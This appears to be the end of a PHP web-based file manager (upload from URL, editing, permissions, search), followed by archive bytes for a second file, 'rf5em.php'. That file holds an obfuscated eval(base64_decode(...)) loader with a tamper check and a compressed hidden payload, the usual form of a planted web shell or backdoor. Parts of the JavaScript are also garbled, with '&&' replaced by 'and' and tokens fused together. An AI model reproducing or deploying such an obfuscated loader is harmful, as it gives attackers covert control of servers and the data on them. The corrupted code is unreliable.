o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
}
}
}
function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
// Save Settings
function save_settings($this) {
let form = $($this);
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) {if(data) { window.location.reload();}}
}); return false;
}
//Create new password hash
function new_password_hash($this) {
let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) { if(data) { $pwd.val(data); } }
}); return false;
}
// Upload files using URL @param {Object}
function upload_from_url($this) {
let form = $($this), resultWrapper = $("div#js-url-upload__list");
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
success: function (data) {
if(data) {
data = JSON.parse(data);
if(data.done) {
resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
} else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
}
},
error: function(xhr) {
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
}
}); return false;
}
// Search template
function search_template(data) {
var response = "";
$.each(data, function (key, val) {
response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
});
return response;
}
// Advance search
function fm_search() {
var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
if(!!searchTxt and searchTxt.length > 2 and path) {
var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
$.ajax({
type: "POST",
url: window.location,
data: data,
beforeSend: function() {
searchWrapper.html('');
$loader.addClass('show-me');
},
success: function(data){
$loader.removeClass('show-me');
data = JSON.parse(data);
if(data and data.length) {
_html = search_template(data);
searchWrapper.html(_html);
} else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
},
error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
});
} else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
}
// action confirm dailog modal
function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
e.preventDefault();
const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
let tpl = $("#js-tpl-confirm").html();
$(".modal.confirmDailog").remove();
$('#wrapper').append(template(tpl,tplObj));
const $confirmDailog = $("#confirmDailog-"+tplObj.id);
$confirmDailog.modal('show');
return false;
}
// on mouse hover image preview
!function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);
// Dom Ready Events
$(document).ready( function () {
// dataTable init
var $table = $('#main-table'),
tableLng = $table.find('th').length,
_targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
});
// filter table
$('#search-addon').on( 'keyup', function () {
mainTable.search( this.value ).draw();
});
$("input#advanced-search").on('keyup', function (e) {
if (e.keyCode === 13) { fm_search(); }
});
$('#search-addon3').on( 'click', function () { fm_search(); });
//upload nav tabs
$(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
e.preventDefault();let target=$(this).data('target');
$(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
$(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
});
});
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
$ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
$ext = $ext == "js" ? "javascript" : $ext;
?>
<?php print_external('js-ace'); ?>
<script>
var editor = ace.edit("editor");
editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
//editor.setTheme("ace/theme/twilight"); //Dark Theme
editor.setShowPrintMargin(false); // Hide the vertical ruler
function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
editor.commands.addCommands([{
name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'},
exec: function(editor) { edit_save(this, 'ace'); }
}]);
function renderThemeMode() {
var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
_data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
$modeEl.val( editor.getSession().$modeId );
$themeEl.val( editor.getTheme() );
$fontSizeEl.val(12).change();
}
$(function(){
renderThemeMode();
$(".js-ace-toolbar").on("click", 'button', function(e){
e.preventDefault();
let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
if(cmdValue and cmdValue != "none") {
ace_commend(cmdValue);
} else if(editorOption) {
if(editorOption == "fullscreen") {
(void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
} else if(editorOption == "wrap") {
let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
editor.getSession().setUseWrapMode(wrapStatus);
}
}
});
$("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
e.preventDefault();
let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
if(selectedValue and selectionType == "mode") {
editor.getSession().setMode(selectedValue);
} else if(selectedValue and selectionType == "theme") {
editor.setTheme(selectedValue);
}else if(selectedValue and selectionType == "fontSize") {
editor.setFontSize(parseInt(selectedValue));
}
});
});
</script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}
function lng($txt) {
global $lang;
$tr['en']['AppName'] = 'swallowable'; $tr['en']['AppTitle'] = 'swallowable';
$tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username';
$tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out';
$tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy';
$tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all';
$tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File';
$tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size';
$tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified';
$tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search';
$tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder';
$tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename';
$tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link';
$tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions';
$tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item';
$tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor';
$tr['en']['Actions'] = 'Actions'; $tr['en']['Folder is empty'] = 'Folder is empty';
$tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel';
$tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder';
$tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name';
$tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download';
$tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip';
$tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit';
$tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up';
$tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files';
$tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change';
$tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language';
$tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
$tr['en']['Help'] = 'Help'; $tr['en']['Created'] = 'Created';
$tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue';
$tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size';
$tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
$tr['en']['Nothing selected'] = 'Nothing selected'; $tr['en']['Paths must be not equal'] = 'Paths must be not equal';
$tr['en']['Renamed from'] = 'Renamed from'; $tr['en']['Archive not unpacked'] = 'Archive not unpacked';
$tr['en']['Deleted'] = 'Deleted'; $tr['en']['Archive not created'] = 'Archive not created';
$tr['en']['Copied from'] = 'Copied from'; $tr['en']['Permissions changed'] = 'Permissions changed';
$tr['en']['to'] = 'to'; $tr['en']['Saved Successfully'] = 'Saved Successfully';
$tr['en']['not found!'] = 'not found!'; $tr['en']['File Saved Successfully'] = 'File Saved Successfully';
$tr['en']['Archive'] = 'Archive'; $tr['en']['Permissions not changed'] = 'Permissions not changed';
$tr['en']['Select folder'] = 'Select folder'; $tr['en']['Source path not defined'] = 'Source path not defined';
$tr['en']['already exists'] = 'already exists'; $tr['en']['Error while moving from'] = 'Error while moving from';
$tr['en']['Create archive?'] = 'Create archive?'; $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name';
$tr['en']['Archive unpacked'] = 'Archive unpacked'; $tr['en']['File extension is not allowed'] = 'File extension is not allowed';
$tr['en']['Root path'] = 'Root path'; $tr['en']['Error while renaming from'] = 'Error while renaming from';
$tr['en']['File not found'] = 'File not found'; $tr['en']['Error while deleting items'] = 'Error while deleting items';
$tr['en']['Moved from'] = 'Moved from'; $tr['en']['Generate new password hash'] = 'Generate new password hash';
$tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
$tr['en']['Advanced Search'] = 'Advanced Search'; $tr['en']['Error while copying from'] = 'Error while copying from';
$tr['en']['Invalid characters in file name'] = 'Invalid characters in file name';
$tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED';
$tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted';
$tr['en']['Error while fetching archive info'] = 'Error while fetching archive info';
$tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?';
$tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...';
$tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable';
$tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name';
$tr['en']['Operations with archives are not available'] = 'Operations with archives are not available';
$tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists';
$i18n = fm_get_translations($tr);
$tr = $i18n ? $i18n : $tr;
if (!strlen($lang)) $lang = 'en';
if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
else return "$txt";
}
?>PK :Jm\�*I�X� X� rf5em.phpnu �[��� <?php /* Checksum: eb19a3b779ba8db245db7b2e79ebfa5ddebe499a797b7d8bd2111257d6555e3ba003ed79a6e5df1746328783be963459047320274e2c0b9f3efe71f21724193e */ eval(base64_decode("JE9PT08wT09PMDA9ZmlsZShwcmVnX3JlcGxhY2UoIkBcKC4qXCguKiRAIiwiIixfX0ZJTEVfXykpOwppZihwcmVnX3JlcGxhY2UoIkBcKC4qXCguKiRAIiwiIixfX0ZJTEVfXyk9PV9fRklMRV9fIG9yCnByZWdfcmVwbGFjZSgiQFwoLipcKC4qJEAiLCIiLF9fTElORV9fKSAhPSAzKWRpZSgiPHR0PkVSUk9SIik7"));eval(base64_decode("ZnVuY3Rpb24gT08wMDBPTzAwTygkYSwkYil7JGM9YXJyYXkoODc4LDM0MCwxMjgsMTAxNjU0KTtpZigkYj09NDUpeyRkPXN1YnN0cigkYSwkY1swXSskY1sxXSwkY1syXSk7fWVsc2VpZigkYj09MTMzKXskZD1zdWJzdHIoJGEsJGNbMF0sJGNbMV0pO31lbHNlaWYoJGI9PTg1KXskZD10cmltKHN1YnN0cigkYSwkY1swXSskY1sxXSskY1syXSkpO31yZXR1cm4kZDt9"));eval(base64_decode(OO000OO00O($OOOO0OOO00[0],133)));eval(O0000OOO0O(OO000OO00O($OOOO0OOO00[0],85),OO000OO00O($OOOO0OOO00[0],45),$OOOO0OOO00));__halt_compiler();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